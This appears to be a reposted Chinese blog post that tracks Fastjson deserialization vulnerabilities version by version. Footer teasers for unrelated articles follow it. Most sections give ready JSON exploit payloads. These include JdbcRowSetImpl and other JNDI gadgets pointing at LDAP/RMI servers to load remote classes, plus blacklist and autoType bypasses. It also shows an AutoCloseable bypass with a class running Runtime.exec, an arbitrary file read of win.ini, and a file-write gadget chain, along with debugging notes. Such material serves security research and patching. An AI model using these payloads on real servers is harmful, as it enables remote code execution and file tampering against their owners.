Fastjson历史版本记录

1.2.24

TemplatesImpl,利用条件苛刻,需要开启Feature.SupportNonPublicField

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQA...CJAAk="],"_name": "pwn","_tfactory": {},"_outputProperties": {},
}

JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见JNDI。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}{"@type":"com.sun.rowset.JdbcRowSetImpl","databaseMetaData":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}

1.2.25

25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是先黑名单检测,后加载白名单中存在的类:

如果autoTypeSupport打开的情况,是先加载白名单中存在的类,后黑名单检测:

之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:

跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:

所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}// another
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","databaseMetaData":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}

1.2.42

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring处理一下:

双写即可绕过:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}

1.2.43

针对42版本中的双写绕过,43中解决的方法是套了一个子判断:

随后安全研究人员将目光投入了在loadClass中也同样被处理的 '[' 字符:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}

1.2.44

44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:

1.2.45

45版本为黑名单绕过:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:23457/Command8"}
}

1.2.47

47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:9999/Exploit","autoCommit":true}
}

关于版本:

  • 在1.2.25 ~ 32中,未开启autoTypeSupport的情况下可以利用成功,开启之后反而无法利用
  • 在1.2.33 ~ 47中,无论是否开启autoTypeSupport都可以利用

关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:

对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。

在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:

之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过TypeUtils#getClassFromMapping直接获取到了JdbcRowSetImpl。


1.2.62

需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。

{"@type": "org.apache.xbean.propertyeditor.JndiConverter","AsText": "ldap://localhost:1389/Exploit"
}

1.2.66

Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)

黑名单绕过,都需要开启AutoType。

{    "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "Realms": [        ""    ]}
{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "metricRegistry": "ldap://localhost:1389/Exploit"}{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",    "properties": {        "@type": "java.util.Properties",        "UserTransaction": "ldap://localhost:1389/Exploit"    }}

1.2.67

黑名单绕过,需要开启AutoType。

{    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "tm": {        "$ref": "$.tm"    }}
{    "@type": "org.apache.shiro.jndi.JndiObjectFactory",    "resourceName": "ldap://localhost:1389/Exploit",    "instance": {        "$ref": "$.instance"    }}

1.2.68

48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。

直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:

对于开了safeMode的站基本不用看了✔

此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):

AutoCloseable(无需AutoType)

根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:

package v_68;import java.io.IOException;public class A implements AutoCloseable{    public A() throws IOException {        Runtime.getRuntime().exec("calc");    }    @Override    public void close() throws Exception {    }}

POC如下:

{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}

调试分析

在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:

如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:

如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):

回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:

> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。

首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:

拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:

接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。

SafeFileOutputStream

<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>

用到的类是org.eclipse.core.internal.localstore.SafeFileOutputStream,在它的构造方法里:

利用这个特点可以实现任意文件读:

{    "@type":"java.lang.AutoCloseable",    "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",    "tempPath": "C:/Windows/win.ini",    "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}

Output

<dependency>    <groupId>com.esotericsoftware</groupId>    <artifactId>kryo</artifactId>    <version>4.0.0</version></dependency>

用到的类是com.esotericsoftware.kryo.io.Output,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:

在require方法中触发了flush方法,在write相关方法中触发了require方法:

在JDK自带的ObjectOutputStream中有参构造方法中:

setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:

于是可以把out赋值成Output类的实例,直到触发flush方法。

但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:

<dependency>    <groupId>com.sleepycat</groupId>    <artifactId>je</artifactId>    <version>5.0.73</version></dependency>

在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:

write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)<init>:247, ObjectOutputStream (java.io)<init>:73, SerialOutput (com.sleepycat.bind.serial)

至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:

  • 实现了java.lang.AutoCloseable接口,可以绕过checkAutoType
  • 在其构造方法处根据传入的targetPath和tempPath实现了FileOutputStream的初始化

  • 通过控制这两条路径就能向文件中写入内容

这个Exp利用了Fastjson中的循环引用:

{    "stream": {        "@type": "java.lang.AutoCloseable",        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",        "targetPath": "D:/wamp64/www/hacked.txt",        "tempPath": "D:/wamp64/www/test.txt"    },    "writer": {        "@type": "java.lang.AutoCloseable",        "@type": "com.esotericsoftware.kryo.io.Output",        "buffer": "cHduZWQ=",        "outputStream": {            "$ref": "$.stream"        },        "position": 5    },    "close": {        "@type": "java.lang.AutoCloseable",        "@type": "com.sleepycat.bind.serial.SerialOutput",        "out": {            "$ref": "$.writer"        }    }}

在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:

具体问题研究以及解决:问题记录 (wolai.com)

Throwable(AutoType开启)

@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:

在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:

但是这个类没有找到合适的Gadget,先留着以后再说。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/157444.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode刷题总结 - LeetCode 热题 100 - 持续更新

LeetCode 热题 100 其他系列哈希1. 两数之和49. 字母异位词分组128. 最长连续序列 双指针27. 移除元素283. 移动零11. 盛最多水的容器剑指 Offer II 007. 数组中和为 0 的三个数42. 接雨水 滑动窗口438. 找到字符串中所有字母异位词3. 无重复字符的最长子串 字串560. 和为 K 的…

PerformanceRunner国产化性能测试工具

国产化性能测试工具PerformanceRunner&#xff08;简称PR&#xff09;通过模拟海量用户并发测试整个系统的承受能力&#xff0c;实现压力测试、性能测试、配置测试、峰值测试等。大限度地缩短测试时间&#xff0c;优化性能和加速应用系统的发布周期。 泽众PR性能测试工具是国内…

基于Linux上MySQL8.*版本的安装-参考官网

本地hadoop环境安装好,并安装好mysql mysql下载地址及选择包 MySQL :: Download MyS的QL Community Server (Archived Versions) mysql安装步骤 下载与上传解压给权限 #mysql安装包上传到/opt下 cd /usr/local/ #解压到此目录 tar -xvf /opt/mysql-8.0.33-linux-glibc2.12-…

C# 使用 RSA 加密算法生成证书签名产生“The system cannot find the file specified”异常

使用 C# 中 RSA&#xff08;System.Security.Cryptography.RSA&#xff09; 加密算法生成证书签名进行身份验证&#xff0c;在 VS2022 开发工具本地运行应用程序一切正常。 但将应用程序部署到远程服务器&#xff08;如&#xff1a;Azure App Services&#xff09;&#xff0c…

基于PLC的机械手控制系统设计

目录 摘 要......................................................................................................................... 1 第一章 绪论.............................................................................................................…

计算机毕业设计选什么题目好?springboot 高校就业管理系统

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

git的基础操作

https://blog.csdn.net/a18307096730/article/details/124586216?spm1001.2014.3001.5502 1&#xff1a;使用场景 SVN&#xff0c;如果服务器里面的东西坏掉了&#xff0c;那么就全线崩盘了。 1:基本配置 git config --global user.name “luka” (自己的名字就行) git co…

opencv dnn模块 示例(18) 目标检测 object_detection 之 pp-yolo、pp-yolov2和pp-yolo tiny

文章目录 1、PP-YOLO1.1、网络架构1.1.1、BackBone骨干网络1.1.2、DetectionNeck1.1.3、DetectionHead 1.2、Tricks的选择1.2.1、更大的batchsize1.2.2、滑动平均1.2.3、DropBlock1.2.4、IOU Loss1.2.5、IOU Aware1.2.6、GRID Sensitive1.2.7、Matrix NMS1.2.8、CoordConv1.2.9…

基于Labview的噪声采集分析系

目录 摘 要......................................................................................................................... 3 第一章 绪论.............................................................................................................…

iPhone手机上使用的定时提醒APP是哪个

在日常喧闹的生活和工作中&#xff0c;琐碎的任务会像喷泉一样突涌而至&#xff0c;如不及时规划&#xff0c;我们将陷入手足无措的境地。而想要让各项工作任务按时完成&#xff0c;我们可以借助一些比较好用的时间提醒软件来督促各项任务。 就拿常用的iPhone手机来讲&#xf…

CCF CSP认证 历年题目自练Day29

题目一 试题编号&#xff1a; 202112-1 试题名称&#xff1a; 序列查询 时间限制&#xff1a; 300ms 内存限制&#xff1a; 512.0MB 样例1输入 3 10 2 5 8 样例1输出 15 样例2输入 9 10 1 2 3 4 5 6 7 8 9 样例2输出 45 题目分析&#xff08;个人理解&#xff09; 还是…

解读提示工程(Prompt Engineering)

提示工程&#xff08;Prompt Engineering&#xff09;&#xff0c;也称为上下文提示&#xff0c;是一种通过不更新模型的权重/参数来引导LLM行为朝着特定结果的方法。这是与AI有效交流所需结果的过程。提示工程可以用于各种任务&#xff0c;从回答问题到算术推理乃至各种应用领…

json库的基本使用

目录 1 将python变量转变为json变量 dumps() 2 将json变量转换为python变量 loads() 3 将键值对存储为json文件 dump() 4 读取json文件 前后端常用json进行信息的交互&#xff0c;不转json会有收不到的情况 我们先看一下转换成json的服务 发现该有的信息都有&#x…

Spring Boot中的Redis自动配置与使用

Spring Boot中的Redis自动配置与使用 Redis是一种高性能的开源内存数据库&#xff0c;常用于缓存、会话管理和消息队列等场景。Spring Boot提供了自动配置来简化在Spring应用程序中使用Redis的过程。本文将介绍Spring Boot中的Redis自动配置是什么以及如何使用它来轻松集成Red…

关于一篇什么是JWT的原理与实际应用

目录 一.介绍 1.1.什么是JWT 二.结构 三.Jwt的工具类的使用 3.1. 依赖 3.2.工具类 3.3.过滤器 3.4.控制器 3.5.配置 3.6. 测试类 用于生成JWT 解析Jwt 复制jwt&#xff0c;并延时30分钟 测试JWT的有效时间 测试过期JWT的解析 四.应用 今天就到这了&#xff0c;希…

C++入门指南:类和对象总结友元类笔记(下)

C入门指南:类和对象总结友元类笔记&#xff08;下&#xff09; 一、深度剖析构造函数1.1 构造函数体赋值1.2 初始化列表1.3 explicit关键字 二、static成员2.1 概念2.2 特性 三、友元3.1 友元函数3.2 友元类 四、 内部类4.1 概念4.2 特征 五、拷贝对象时的一些编译器优化六、深…

cad由于找不到mfc140u.dll怎么回事?mfc140u.dll丢失的解决方法

当你在使用 CAD&#xff08;计算机辅助设计&#xff09;软件时&#xff0c;如果出现“找不到 mfc140u.dll”的错误提示&#xff0c;这通常意味着你的计算机上缺少这个重要的动态链接库文件。Mfc140u.dll 是 Microsoft Foundation Class&#xff08;MFC&#xff09;库的一部分&a…

深度神经网络压缩与加速技术

// 深度神经网络是深度学习的一种框架&#xff0c;它是一种具备至少一个隐层的神经网络。与浅层神经网络类似&#xff0c;深度神经网络也能够为复杂非线性系统提供建模&#xff0c;但多出的层次为模型提供了更高的抽象层次&#xff0c;因而提高了模型的能力。深度神经网络是一…

季涨约3~8%,DRAM合约价大幅回升 | 百能云芯

据TrendForce的研究显示&#xff0c;第4季DRAM与NAND Flash均价将开始全面上涨。特别是DRAM&#xff0c;预计第4季的合约价将季涨幅约在3%到8%之间。然而&#xff0c;这波上涨是否能持续&#xff0c;取决于供应商是否坚守减产策略以及实际需求的回升程度&#xff0c;尤其值得关…

clone()方法使用时遇到的问题解决方法(JAVA)

我们平时在自定义类型中使用这个方法时会连续遇到 4 个问题。 基础代码如下&#xff1a; class A {int[] a {1,2,3}; }public class Test {public static void main(String[] args) {} } 第一个&#xff1a; 当我们直接调用时报错原因是Object类中的clone方法是被protecte…